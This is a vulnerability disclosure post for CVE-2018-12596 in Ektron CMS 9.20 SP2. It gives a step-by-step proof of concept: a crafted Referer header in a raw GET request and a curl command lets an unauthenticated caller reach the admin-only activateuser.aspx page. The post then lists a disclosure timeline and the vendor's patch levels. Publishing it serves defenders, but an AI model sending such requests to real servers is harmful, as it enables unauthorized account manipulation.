Ektron Content Management System (CMS) 9.20 SP2, remote re-enabling users (CVE-2018–12596)
Hello guys, just I continue to disclosure my CVEs (0days) for infosec community. I found interesting “bypasses” on Ektron CMS 9.20 SP2 version that allows some remote attackers to call aspx pages, even if a page
is located under the /WorkArea/ path normally for admins.
Ektron CMS 9.20 SP2 allows remote attackers to call aspx pages via the “activateuser.aspx” page, even if a page is located under the /WorkArea/ path, which is forbidden (normally available exclusively for local admins :D .
Ektron version tested details :
Browsing the default robots.txt file:
Trying to get access at “/WorkArea/activateuser.aspx” path, response (403: Forbidden)
Proof of Concept Exploit:
- curl command deployed (Windows or Linux)
- Burpsuite Free/Pro deployed or any other WebProxy to catch/send GET request
Step (1): Launch the BurpSuite with default paramenter then request the follwing URL:
Normally you will see a 403 Forbidden: Access denied.
Step (2): Into BurpSuite Free/Pro add the following extra Header Referer:
Step (3): The offending GET request is:
GET /WorkArea/activateuser.aspx HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept-Encoding: gzip, deflate
Note: As remark that is not necessary to be used the credentials or any authentication, the GET method above was extracted using Burp Suite.
Step (4): Test your GET request using curl command and Burpsuite as following:
# curl -i -s -k -XGET "https://ektronserver.com/WorkArea/activateuser.aspx"
-H "Host: ektronserver.com"
-H "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0"
-H "Referer: ALEX;"
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
-H "Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate"
-H "Connection: close"
You should see now the following response 200 OK!:
HTTP/1.0 200 Connection established
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Now you got access to enable users, just send the repeat request into the browser using burpsuite as following:
2018–06–11: Retest staging environment
2018–06–12: Restes live environment
2018–06–19: Internal communication
2018–06–21: Vendor notification
2018–06–21: Vendor feedback
2018–06–29: Vendor feedback product will be patched
2018–06–29: Patch available
2018–06–29: Agrements with the vendor to publish the CVE/Advisory.
2018–07–30: Internal communication
2018–09–15: Patches tested on LAB environment.
2018–10–08: Public report
Alex Hernandez aka alt3kx:
Please visit https://github.com/alt3kx for more information.
Provided by the vendor here:
PATCH ID: EKTR-508: Security enhancement for re-enabling a user
Any of the below should fix CVE-2018–12596
9.2 SP2 Site CU 22
9.1 SP3 Site CU 45
9.0 SP3 Site CU 31